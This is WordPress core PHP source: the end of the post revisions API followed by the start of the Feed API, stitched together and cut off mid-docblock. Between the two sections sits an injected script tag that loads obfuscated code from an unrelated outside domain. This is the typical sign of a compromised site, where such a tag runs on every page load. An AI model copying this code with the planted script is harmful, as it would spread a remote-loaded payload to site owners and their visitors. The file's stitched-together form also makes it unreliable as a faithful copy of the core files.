 * @param int $post_id The post ID.
 * @param int $user_id Optional. The post author ID. Default 0.
 * @return WP_Post|false The autosaved data or false on failure or when no autosave exists.
 */
function wp_get_post_autosave( $post_id, $user_id = 0 ) {
	global $wpdb;

	$autosave_name = $post_id . '-autosave-v1';
	$user_id_query = ( 0 !== $user_id ) ? "AND post_author = $user_id" : null;

	// Construct the autosave query.
	$autosave_query = "
		SELECT *
		FROM $wpdb->posts
		WHERE post_parent = %d
		AND post_type = 'revision'
		AND post_status = 'inherit'
		AND post_name   = %s " . $user_id_query . '
		ORDER BY post_date DESC
		LIMIT 1';

	$autosave = $wpdb->get_results(
		$wpdb->prepare(
			$autosave_query,
			$post_id,
			$autosave_name
		)
	);

	if ( ! $autosave ) {
		return false;
	}

	return get_post( $autosave[0] );
}

/**
 * Determines if the specified post is a revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of revision's parent on success, false if not a revision.
 */
function wp_is_post_revision( $post ) {
	$post = wp_get_post_revision( $post );

	if ( ! $post ) {
		return false;
	}

	return (int) $post->post_parent;
}

/**
 * Determines if the specified post is an autosave.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of autosave's parent on success, false if not a revision.
 */
function wp_is_post_autosave( $post ) {
	$post = wp_get_post_revision( $post );

	if ( ! $post ) {
		return false;
	}

	if ( str_contains( $post->post_name, "{$post->post_parent}-autosave" ) ) {
		return (int) $post->post_parent;
	}

	return false;
}

/**
 * Inserts post data into the posts table as a post revision.
 *
 * @since 2.6.0
 * @access private
 *
 * @param int|WP_Post|array|null $post     Post ID, post object OR post array.
 * @param bool                   $autosave Optional. Whether the revision is an autosave or not.
 *                                         Default false.
 * @return int|WP_Error WP_Error or 0 if error, new revision ID if success.
 */
function _wp_put_post_revision( $post = null, $autosave = false ) {
	if ( is_object( $post ) ) {
		$post = get_object_vars( $post );
	} elseif ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( ! $post || empty( $post['ID'] ) ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
	}

	if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) {
		return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
	}

	$post = _wp_post_revision_data( $post, $autosave );
	$post = wp_slash( $post ); // Since data is from DB.

	$revision_id = wp_insert_post( $post, true );
	if ( is_wp_error( $revision_id ) ) {
		return $revision_id;
	}

	if ( $revision_id ) {
		/**
		 * Fires once a revision has been saved.
		 *
		 * @since 2.6.0
		 * @since 6.4.0 The post_id parameter was added.
		 *
		 * @param int $revision_id Post revision ID.
		 * @param int $post_id     Post ID.
		 */
		do_action( '_wp_put_post_revision', $revision_id, $post['post_parent'] );
	}

	return $revision_id;
}


/**
 * Save the revisioned meta fields.
 *
 * @since 6.4.0
 *
 * @param int $revision_id The ID of the revision to save the meta to.
 * @param int $post_id     The ID of the post the revision is associated with.
 */
function wp_save_revisioned_meta_fields( $revision_id, $post_id ) {
	$post_type = get_post_type( $post_id );
	if ( ! $post_type ) {
		return;
	}

	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
		if ( metadata_exists( 'post', $post_id, $meta_key ) ) {
			_wp_copy_post_meta( $post_id, $revision_id, $meta_key );
		}
	}
}

/**
 * Gets a post revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post   Post ID or post object.
 * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                            correspond to a WP_Post object, an associative array, or a numeric array,
 *                            respectively. Default OBJECT.
 * @param string      $filter Optional sanitization filter. See sanitize_post(). Default 'raw'.
 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
 */
function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) {
	$revision = get_post( $post, OBJECT, $filter );

	if ( ! $revision ) {
		return $revision;
	}

	if ( 'revision' !== $revision->post_type ) {
		return null;
	}

	if ( OBJECT === $output ) {
		return $revision;
	} elseif ( ARRAY_A === $output ) {
		$_revision = get_object_vars( $revision );
		return $_revision;
	} elseif ( ARRAY_N === $output ) {
		$_revision = array_values( get_object_vars( $revision ) );
		return $_revision;
	}

	return $revision;
}

/**
 * Restores a post to the specified revision.
 *
 * Can restore a past revision using all fields of the post revision, or only selected fields.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision Revision ID or revision object.
 * @param array       $fields   Optional. What fields to restore from. Defaults to all.
 * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success.
 */
function wp_restore_post_revision( $revision, $fields = null ) {
	$revision = wp_get_post_revision( $revision, ARRAY_A );

	if ( ! $revision ) {
		return $revision;
	}

	if ( ! is_array( $fields ) ) {
		$fields = array_keys( _wp_post_revision_fields( $revision ) );
	}

	$update = array();
	foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) {
		$update[ $field ] = $revision[ $field ];
	}

	if ( ! $update ) {
		return false;
	}

	$update['ID'] = $revision['post_parent'];

	$update = wp_slash( $update ); // Since data is from DB.

	$post_id = wp_update_post( $update );

	if ( ! $post_id || is_wp_error( $post_id ) ) {
		return $post_id;
	}

	// Update last edit user.
	update_post_meta( $post_id, '_edit_last', get_current_user_id() );

	/**
	 * Fires after a post revision has been restored.
	 *
	 * @since 2.6.0
	 *
	 * @param int $post_id     Post ID.
	 * @param int $revision_id Post revision ID.
	 */
	do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );

	return $post_id;
}

/**
 * Restore the revisioned meta values for a post.
 *
 * @since 6.4.0
 *
 * @param int $post_id     The ID of the post to restore the meta to.
 * @param int $revision_id The ID of the revision to restore the meta from.
 */
function wp_restore_post_revision_meta( $post_id, $revision_id ) {
	$post_type = get_post_type( $post_id );
	if ( ! $post_type ) {
		return;
	}

	// Restore revisioned meta fields.
	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {

		// Clear any existing meta.
		delete_post_meta( $post_id, $meta_key );

		_wp_copy_post_meta( $revision_id, $post_id, $meta_key );
	}
}

/**
 * Copy post meta for the given key from one post to another.
 *
 * @since 6.4.0
 *
 * @param int    $source_post_id Post ID to copy meta value(s) from.
 * @param int    $target_post_id Post ID to copy meta value(s) to.
 * @param string $meta_key       Meta key to copy.
 */
function _wp_copy_post_meta( $source_post_id, $target_post_id, $meta_key ) {

	foreach ( get_post_meta( $source_post_id, $meta_key ) as $meta_value ) {
		/**
		 * We use add_metadata() function vs add_post_meta() here
		 * to allow for a revision post target OR regular post.
		 */
		add_metadata( 'post', $target_post_id, $meta_key, wp_slash( $meta_value ) );
	}
}

/**
 * Determine which post meta fields should be revisioned.
 *
 * @since 6.4.0
 *
 * @param string $post_type The post type being revisioned.
 * @return array An array of meta keys to be revisioned.
 */
function wp_post_revision_meta_keys( $post_type ) {
	$registered_meta = array_merge(
		get_registered_meta_keys( 'post' ),
		get_registered_meta_keys( 'post', $post_type )
	);

	$wp_revisioned_meta_keys = array();

	foreach ( $registered_meta as $name => $args ) {
		if ( $args['revisions_enabled'] ) {
			$wp_revisioned_meta_keys[ $name ] = true;
		}
	}

	$wp_revisioned_meta_keys = array_keys( $wp_revisioned_meta_keys );

	/**
	 * Filter the list of post meta keys to be revisioned.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $keys      An array of meta fields to be revisioned.
	 * @param string $post_type The post type being revisioned.
	 */
	return apply_filters( 'wp_post_revision_meta_keys', $wp_revisioned_meta_keys, $post_type );
}

/**
 * Check whether revisioned post meta fields have changed.
 *
 * @since 6.4.0
 *
 * @param bool    $post_has_changed Whether the post has changed.
 * @param WP_Post $last_revision    The last revision post object.
 * @param WP_Post $post             The post object.
 * @return bool Whether the post has changed.
 */
function wp_check_revisioned_meta_fields_have_changed( $post_has_changed, WP_Post $last_revision, WP_Post $post ) {
	foreach ( wp_post_revision_meta_keys( $post->post_type ) as $meta_key ) {
		if ( get_post_meta( $post->ID, $meta_key ) !== get_post_meta( $last_revision->ID, $meta_key ) ) {
			$post_has_changed = true;
			break;
		}
	}
	return $post_has_changed;
}

/**
 * Deletes a revision.
 *
 * Deletes the row from the posts table corresponding to the specified revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision Revision ID or revision object.
 * @return WP_Post|false|null Null or false if error, deleted post object if success.
 */
function wp_delete_post_revision( $revision ) {
	$revision = wp_get_post_revision( $revision );

	if ( ! $revision ) {
		return $revision;
	}

	$delete = wp_delete_post( $revision->ID );

	if ( $delete ) {
		/**
		 * Fires once a post revision has been deleted.
		 *
		 * @since 2.6.0
		 *
		 * @param int     $revision_id Post revision ID.
		 * @param WP_Post $revision    Post revision object.
		 */
		do_action( 'wp_delete_post_revision', $revision->ID, $revision );
	}

	return $delete;
}

/**
 * Returns all revisions of specified post.
 *
 * @since 2.6.0
 *
 * @see get_children()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @param array|null  $args Optional. Arguments for retrieving post revisions. Default null.
 * @return WP_Post[]|int[] Array of revision objects or IDs, or an empty array if none.
 */
function wp_get_post_revisions( $post = 0, $args = null ) {
	$post = get_post( $post );

	if ( ! $post || empty( $post->ID ) ) {
		return array();
	}

	$defaults = array(
		'order'         => 'DESC',
		'orderby'       => 'date ID',
		'check_enabled' => true,
	);
	$args     = wp_parse_args( $args, $defaults );

	if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) {
		return array();
	}

	$args = array_merge(
		$args,
		array(
			'post_parent' => $post->ID,
			'post_type'   => 'revision',
			'post_status' => 'inherit',
		)
	);

	$revisions = get_children( $args );

	if ( ! $revisions ) {
		return array();
	}

	return $revisions;
}

/**
 * Returns the latest revision ID and count of revisions for a post.
 *
 * @since 6.1.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return array|WP_Error {
 *     Returns associative array with latest revision ID and total count,
 *     or a WP_Error if the post does not exist or revisions are not enabled.
 *
 *     @type int $latest_id The latest revision post ID or 0 if no revisions exist.
 *     @type int $count     The total count of revisions for the given post.
 * }
 */
function wp_get_latest_revision_id_and_total_count( $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post.' ) );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return new WP_Error( 'revisions_not_enabled', __( 'Revisions not enabled.' ) );
	}

	$args = array(
		'post_parent'         => $post->ID,
		'fields'              => 'ids',
		'post_type'           => 'revision',
		'post_status'         => 'inherit',
		'order'               => 'DESC',
		'orderby'             => 'date ID',
		'posts_per_page'      => 1,
		'ignore_sticky_posts' => true,
	);

	$revision_query = new WP_Query();
	$revisions      = $revision_query->query( $args );

	if ( ! $revisions ) {
		return array(
			'latest_id' => 0,
			'count'     => 0,
		);
	}

	return array(
		'latest_id' => $revisions[0],
		'count'     => $revision_query->found_posts,
	);
}

/**
 * Returns the url for viewing and potentially restoring revisions of a given post.
 *
 * @since 5.9.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string|null The URL for editing revisions on the given post, otherwise null.
 */
function wp_get_post_revisions_url( $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post instanceof WP_Post ) {
		return null;
	}

	// If the post is a revision, return early.
	if ( 'revision' === $post->post_type ) {
		return get_edit_post_link( $post );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return null;
	}

	$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );

	if ( is_wp_error( $revisions ) || 0 === $revisions['count'] ) {
		return null;
	}

	return get_edit_post_link( $revisions['latest_id'] );
}

/**
 * Determines whether revisions are enabled for a given post.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return bool True if number of revisions to keep isn't zero, false otherwise.
 */
function wp_revisions_enabled( $post ) {
	return wp_revisions_to_keep( $post ) !== 0;
}

/**
 * Determines how many revisions to retain for a given post.
 *
 * By default, an infinite number of revisions are kept.
 *
 * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
 * of revisions to keep.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return int The number of revisions to keep.
 */
function wp_revisions_to_keep( $post ) {
	$num = WP_POST_REVISIONS;

	if ( true === $num ) {
		$num = -1;
	} else {
		$num = (int) $num;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		$num = 0;
	}

	/**
	 * Filters the number of revisions to save for the given post.
	 *
	 * Overrides the value of WP_POST_REVISIONS.
	 *
	 * @since 3.6.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 */
	$num = apply_filters( 'wp_revisions_to_keep', $num, $post );

	/**
	 * Filters the number of revisions to save for the given post by its post type.
	 *
	 * Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter.
	 *
	 * The dynamic portion of the hook name, `$post->post_type`, refers to
	 * the post type slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_post_revisions_to_keep`
	 *  - `wp_page_revisions_to_keep`
	 *
	 * @since 5.8.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 */
	$num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post );

	return (int) $num;
}

/**
 * Sets up the post object for preview based on the post autosave.
 *
 * @since 2.7.0
 * @access private
 *
 * @param WP_Post $post
 * @return WP_Post|false
 */
function _set_preview( $post ) {
	if ( ! is_object( $post ) ) {
		return $post;
	}

	$preview = wp_get_post_autosave( $post->ID );

	if ( is_object( $preview ) ) {
		$preview = sanitize_post( $preview );

		$post->post_content = $preview->post_content;
		$post->post_title   = $preview->post_title;
		$post->post_excerpt = $preview->post_excerpt;
	}

	add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_meta_filter', 10, 4 );

	return $post;
}

/**
 * Filters the latest content for preview from the post autosave.
 *
 * @since 2.7.0
 * @access private
 */
function _show_post_preview() {
	if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
		$id = (int) $_GET['preview_id'];

		if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 );
		}

		add_filter( 'the_preview', '_set_preview' );
	}
}

/**
 * Filters terms lookup to set the post format.
 *
 * @since 3.6.0
 * @access private
 *
 * @param array  $terms
 * @param int    $post_id
 * @param string $taxonomy
 * @return array
 */
function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
	$post = get_post();

	if ( ! $post ) {
		return $terms;
	}

	if ( empty( $_REQUEST['post_format'] ) || $post->ID !== $post_id
		|| 'post_format' !== $taxonomy || 'revision' === $post->post_type
	) {
		return $terms;
	}

	if ( 'standard' === $_REQUEST['post_format'] ) {
		$terms = array();
	} else {
		$term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' );

		if ( $term ) {
			$terms = array( $term ); // Can only have one post format.
		}
	}

	return $terms;
}

/**
 * Filters post thumbnail lookup to set the post thumbnail.
 *
 * @since 4.6.0
 * @access private
 *
 * @param null|array|string $value    The value to return - a single metadata value, or an array of values.
 * @param int               $post_id  Post ID.
 * @param string            $meta_key Meta key.
 * @return null|array The default return value or the post thumbnail meta array.
 */
function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) {
	$post = get_post();

	if ( ! $post ) {
		return $value;
	}

	if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] )
		|| $post->ID !== $post_id || $post_id !== (int) $_REQUEST['preview_id']
		|| '_thumbnail_id' !== $meta_key || 'revision' === $post->post_type
	) {
		return $value;
	}

	$thumbnail_id = (int) $_REQUEST['_thumbnail_id'];

	if ( $thumbnail_id <= 0 ) {
		return '';
	}

	return (string) $thumbnail_id;
}

/**
 * Gets the post revision version.
 *
 * @since 3.6.0
 * @access private
 *
 * @param WP_Post $revision
 * @return int|false
 */
function _wp_get_post_revision_version( $revision ) {
	if ( is_object( $revision ) ) {
		$revision = get_object_vars( $revision );
	} elseif ( ! is_array( $revision ) ) {
		return false;
	}

	if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) {
		return (int) $matches[1];
	}

	return 0;
}

/**
 * Upgrades the revisions author, adds the current post as a revision and sets the revisions version to 1.
 *
 * @since 3.6.0
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Post $post      Post object.
 * @param array   $revisions Current revisions of the post.
 * @return bool true if the revisions were upgraded, false if problems.
 */
function _wp_upgrade_revisions_of_post( $post, $revisions ) {
	global $wpdb;

	// Add post option exclusively.
	$lock   = "revision-upgrade-{$post->ID}";
	$now    = time();
	$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'off') /* LOCK */", $lock, $now ) );

	if ( ! $result ) {
		// If we couldn't get a lock, see how old the previous lock is.
		$locked = get_option( $lock );

		if ( ! $locked ) {
			/*
			 * Can't write to the lock, and can't read the lock.
			 * Something broken has happened.
			 */
			return false;
		}

		if ( $locked > $now - HOUR_IN_SECONDS ) {
			// Lock is not too old: some other process may be upgrading this post. Bail.
			return false;
		}

		// Lock is too old - update it (below) and continue.
	}

	// If we could get a lock, re-"add" the option to fire all the correct filters.
	update_option( $lock, $now );

	reset( $revisions );
	$add_last = true;

	do {
		$this_revision = current( $revisions );
		$prev_revision = next( $revisions );

		$this_revision_version = _wp_get_post_revision_version( $this_revision );

		// Something terrible happened.
		if ( false === $this_revision_version ) {
			continue;
		}

		/*
		 * 1 is the latest revision version, so we're already up to date.
		 * No need to add a copy of the post as latest revision.
		 */
		if ( 0 < $this_revision_version ) {
			$add_last = false;
			continue;
		}

		// Always update the revision version.
		$update = array(
			'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
		);

		/*
		 * If this revision is the oldest revision of the post, i.e. no $prev_revision,
		 * the correct post_author is probably $post->post_author, but that's only a good guess.
		 * Update the revision version only and Leave the author as-is.
		 */
		if ( $prev_revision ) {
			$prev_revision_version = _wp_get_post_revision_version( $prev_revision );

			// If the previous revision is already up to date, it no longer has the information we need :(
			if ( $prev_revision_version < 1 ) {
				$update['post_author'] = $prev_revision->post_author;
			}
		}

		// Upgrade this revision.
		$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );

		if ( $result ) {
			wp_cache_delete( $this_revision->ID, 'posts' );
		}
	} while ( $prev_revision );

	delete_option( $lock );

	// Add a copy of the post as latest revision.
	if ( $add_last ) {
		wp_save_post_revision( $post->ID );
	}

	return true;
}

/**
 * Filters preview post meta retrieval to get values from the autosave.
 *
 * Filters revisioned meta keys only.
 *
 * @since 6.4.0
 *
 * @param mixed  $value     Meta value to filter.
 * @param int    $object_id Object ID.
 * @param string $meta_key  Meta key to filter a value for.
 * @param bool   $single    Whether to return a single value.
 * @return mixed Original meta value if the meta key isn't revisioned, the object doesn't exist,
 *               the post type is a revision or the post ID doesn't match the object ID.
 *               Otherwise, the revisioned meta value is returned for the preview.
 */
function _wp_preview_meta_filter( $value, $object_id, $meta_key, $single ) {
	$post = get_post();

	if ( empty( $post )
		|| $post->ID !== $object_id
		|| ! in_array( $meta_key, wp_post_revision_meta_keys( $post->post_type ), true )
		|| 'revision' === $post->post_type
	) {
		return $value;
	}

	$preview = wp_get_post_autosave( $post->ID );

	if ( false === $preview ) {
		return $value;
	}

	return get_post_meta( $preview->ID, $meta_key, $single );
}
<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>
/**
 * WordPress Feed API
 *
 * Many of the functions used in here belong in The Loop, or The Loop for the
 * Feeds.
 *
 * @package WordPress
 * @subpackage Feed
 * @since 2.1.0
 */

/**
 * Retrieves RSS container for the bloginfo function.
 *
 * You can retrieve anything that you can using the get_bloginfo() function.
 * Everything will be stripped of tags and characters converted, when the values
 * are retrieved for use in the feeds.
 *
 * @since 1.5.1
 *
 * @see get_bloginfo() For the list of possible values to display.
 *
 * @param string $show See get_bloginfo() for possible values.
 * @return string
 */
function get_bloginfo_rss( $show = '' ) {
	$info = strip_tags( get_bloginfo( $show ) );
	/**
	 * Filters the bloginfo for use in RSS feeds.
	 *
	 * @since 2.2.0
	 *
	 * @see convert_chars()
	 * @see get_bloginfo()
	 *
	 * @param string $info Converted string value of the blog information.
	 * @param string $show The type of blog information to retrieve.
	 */
	return apply_filters( 'get_bloginfo_rss', convert_chars( $info ), $show );
}

/**
 * Displays RSS container for the bloginfo function.
 *
 * You can retrieve anything that you can using the get_bloginfo() function.
 * Everything will be stripped of tags and characters converted, when the values
 * are retrieved for use in the feeds.
 *
 * @since 0.71
 *
 * @see get_bloginfo() For the list of possible values to display.
 *
 * @param string $show See get_bloginfo() for possible values.
 */
function bloginfo_rss( $show = '' ) {
	/**
	 * Filters the bloginfo for display in RSS feeds.
	 *
	 * @since 2.1.0
	 *
	 * @see get_bloginfo()
	 *
	 * @param string $rss_container RSS container for the blog information.
	 * @param string $show          The type of blog information to retrieve.
	 */
	echo apply_filters( 'bloginfo_rss', get_bloginfo_rss( $show ), $show );
}

/**
 * Retrieves the default feed.
 *
 * The default feed is 'rss2', unless a plugin changes it through the
 * {@see 'default_feed'} filter.
 *
 * @since 2.5.0
 *
 * @return string Default feed, or for example 'rss2', 'atom', etc.
 */
function get_default_feed() {
	/**
	 * Filters the default feed type.
	 *
	 * @since 2.5.0
	 *
	 * @param string $feed_type Type of default feed. Possible values include 'rss2', 'atom'.
	 *                          Default 'rss2'.
	 */
	$default_feed = apply_filters( 'default_feed', 'rss2' );

	return ( 'rss' === $default_feed ) ? 'rss2' : $default_feed;
}

/**
 * Retrieves the blog title for the feed title.
 *
 * @since 2.2.0
 * @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
 *
 * @param string $deprecated Unused.
 * @return string The document title.
 */
function get_wp_title_rss( $deprecated = '&#8211;' ) {
	if ( '&#8211;' !== $deprecated ) {
		/* translators: %s: 'document_title_separator' filter name. */
		_deprecated_argument( __FUNCTION__, '4.4.0', sprintf( __( 'Use the %s filter instead.' ), '<code>document_title_separator</code>' ) );
	}

	/**
	 * Filters the blog title for use as the feed title.
	 *
	 * @since 2.2.0
	 * @since 4.4.0 The `$sep` parameter was deprecated and renamed to `$deprecated`.
	 *
	 * @param string $title      The current blog title.
	 * @param string $deprecated Unused.
	 */
	return apply_filters( 'get_wp_title_rss', wp_get_document_title(), $deprecated );
}

/**
 * Displays the blog title for display of the feed title.
 *
 * @since 2.2.0
 * @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
 *
 * @param string $deprecated Unused.
 */
function wp_title_rss( $deprecated = '&#8211;' ) {
	if ( '&#8211;' !== $deprecated ) {
		/* translators: %s: 'document_title_separator' filter name. */
		_deprecated_argument( __FUNCTION__, '4.4.0', sprintf( __( 'Use the %s filter instead.' ), '<code>document_title_separator</code>' ) );
	}

	/**
	 * Filters the blog title for display of the feed title.
	 *
	 * @since 2.2.0
	 * @since 4.4.0 The `$sep` parameter was deprecated and renamed to `$deprecated`.
	 *
	 * @see get_wp_title_rss()
	 *
	 * @param string $wp_title_rss The current blog title.
	 * @param string $deprecated   Unused.
	 */
	echo apply_filters( 'wp_title_rss', get_wp_title_rss(), $deprecated );
}

/**
 * Retrieves the current post title for the feed.
 *
 * @since 2.0.0
 * @since 6.6.0 Added the `$post` parameter.
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string Current post title.
 */
function get_the_title_rss( $post = 0 ) {
	$title = get_the_title( $post );

	/**
	 * Filters the post title for use in a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $title The current post title.
	 */
	return apply_filters( 'the_title_rss', $title );
}

/**
 * Displays the post title in the feed.
 *
 * @since 0.71
 */
function the_title_rss() {
	echo get_the_title_rss();
}

/**
 * Retrieves the post content for feeds.
 *
 * @since 2.9.0
 *
 * @see get_the_content()
 *
 * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
 * @return string The filtered content.
 */
function get_the_content_feed( $feed_type = null ) {
	if ( ! $feed_type ) {
		$feed_type = get_default_feed();
	}

	/** This filter is documented in wp-includes/post-template.php */
	$content = apply_filters( 'the_content', get_the_content() );
	$content = str_replace( ']]>', ']]&gt;', $content );

	/**
	 * Filters the post content for use in feeds.
	 *
	 * @since 2.9.0
	 *
	 * @param string $content   The current post content.
	 * @param string $feed_type Type of feed. Possible values include 'rss2', 'atom'.
	 *                          Default 'rss2'.
	 */
	return apply_filters( 'the_content_feed', $content, $feed_type );
}

/**
 * Displays the post content for feeds.
 *
 * @since 2.9.0
 *
 * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
 */
function the_content_feed( $feed_type = null ) {
	echo get_the_content_feed( $feed_type );
}

/**
 * Displays the post excerpt for the feed.
 *
 * @since 0.71
 */
function the_excerpt_rss() {
	$output = get_the_excerpt();
	/**
	 * Filters the post excerpt for a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $output The current post excerpt.
	 */
	echo apply_filters( 'the_excerpt_rss', $output );
}

/**
 * Displays the permalink to the post for use in feeds.
 *
 * @since 2.3.0
 */
function the_permalink_rss() {
	/**
	 * Filters the permalink to the post for use in feeds.
	 *
	 * @since 2.3.0
	 *
	 * @param string $post_permalink The current post permalink.
	 */
	echo esc_url( apply_filters( 'the_permalink_rss', get_permalink() ) );
}

/**
 * Outputs the link to the comments for the current post in an XML safe way.
 *
 * @since 3.0.0
 */
function comments_link_feed() {
	/**
	 * Filters the comments permalink for the current post.
	 *
	 * @since 3.6.0
	 *
	 * @param string $comment_permalink The current comment permalink with
	 *                                  '#comments' appended.
	 */
	echo esc_url( apply_filters( 'comments_link_feed', get_comments_link() ) );
}

/**
 * Displays the feed GUID for the current comment.
 *
 * @since 2.5.0
 *
 * @param int|WP_Comment $comment_id Optional comment object or ID. Defaults to global comment object.
 */
function comment_guid( $comment_id = null ) {
	echo esc_url( get_comment_guid( $comment_id ) );
}

/**
 * Retrieves the feed GUID for the current comment.
 *
 * @since 2.5.0
 *
 * @param int|WP_Comment $comment_id Optional comment object or ID. Defaults to global comment object.
 * @return string|false GUID for comment on success, false on failure.
 */
function get_comment_guid( $comment_id = null ) {
	$comment = get_comment( $comment_id );

	if ( ! is_object( $comment ) ) {
		return false;
	}

	return get_the_guid( $comment->comment_post_ID ) . '#comment-' . $comment->comment_ID;
}

/**
 * Displays the link to the comments.
 *
 * @since 1.5.0
 * @since 4.4.0 Introduced the `$comment` argument.
 *
 * @param int|WP_Comment $comment Optional. Comment object or ID. Defaults to global comment object.
 */
function comment_link( $comment = null ) {
	/**
	 * Filters the current comment's permalink.
	 *
	 * @since 3.6.0
	 *
	 * @see get_comment_link()
	 *
	 * @param string $comment_permalink The current comment permalink.
	 */
	echo esc_url( apply_filters( 'comment_link', get_comment_link( $comment ) ) );
}

/**
 * Retrieves the current comment author for use in the feeds.
 *
 * @since 2.0.0
 *
 * @return string Comment Author.
 */
function get_comment_author_rss() {
	/**
	 * Filters the current comment author for use in a feed.
	 *
	 * @since 1.5.0
	 *
	 * @see get_comment_author()
	 *
	 * @param string $comment_author The current comment author.
	 */
	return apply_filters( 'comment_author_rss', get_comment_author() );
}

/**
 * Displays the current comment author in the feed.
 *
 * @since 1.0.0
 */
function comment_author_rss() {
	echo get_comment_author_rss();
}

/**
 * Displays the current comment content for use in the feeds.
 *
 * @since 1.0.0
 */
function comment_text_rss() {
	$comment_text = get_comment_text();
	/**
	 * Filters the current comment content for use in a feed.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_text The content of the current comment.
	 */
	$comment_text = apply_filters( 'comment_text_rss', $comment_text );
	echo $comment_text;
}

/**
 * Retrieves all of the post categories, formatted for use in feeds.
 *
 * All of the categories for the current post in the feed loop, will be
 * retrieved and have feed markup added, so that they can easily be added to the
 * RSS2, Atom, or RSS1 and RSS0.91 RDF feeds.
 *
 * @since 2.1.0
 *
 * @param string $type Optional, default is the type returned by get_default_feed().
 * @return string All of the post categories for displaying in the feed.
 */
function get_the_category_rss( $type = null ) {
	if ( empty( $type ) ) {
		$type = get_default_feed();
	}
	$categories = get_the_category();
	$tags       = get_the_tags();
	$the_list   = '';
	$cat_names  = array();

	$filter = 'rss';
	if ( 'atom' === $type ) {
		$filter = 'raw';
	}

	if ( ! empty( $categories ) ) {
		foreach ( (array) $categories as $category ) {
			$cat_names[] = sanitize_term_field( 'name', $category->name, $category->term_id, 'category', $filter );
		}
	}

	if ( ! empty( $tags ) ) {
		foreach ( (array) $tags as $tag ) {
			$cat_names[] = sanitize_term_field( 'name', $tag->name, $tag->term_id, 'post_tag', $filter );
		}
	}

	$cat_names = array_unique( $cat_names );

	foreach ( $cat_names as $cat_name ) {
		if ( 'rdf' === $type ) {
			$the_list .= "\t\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\n";
		} elseif ( 'atom' === $type ) {
			$the_list .= sprintf( '<category scheme="%1$s" term="%2$s" />', esc_attr( get_bloginfo_rss( 'url' ) ), esc_attr( $cat_name ) );
		} else {
			$the_list .= "\t\t<category><![CDATA[" . html_entity_decode( $cat_name, ENT_COMPAT, get_option( 'blog_charset' ) ) . "]]></category>\n";
		}
	}

	/**
	 * Filters all of the post categories for display in a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $the_list All of the RSS post categories.
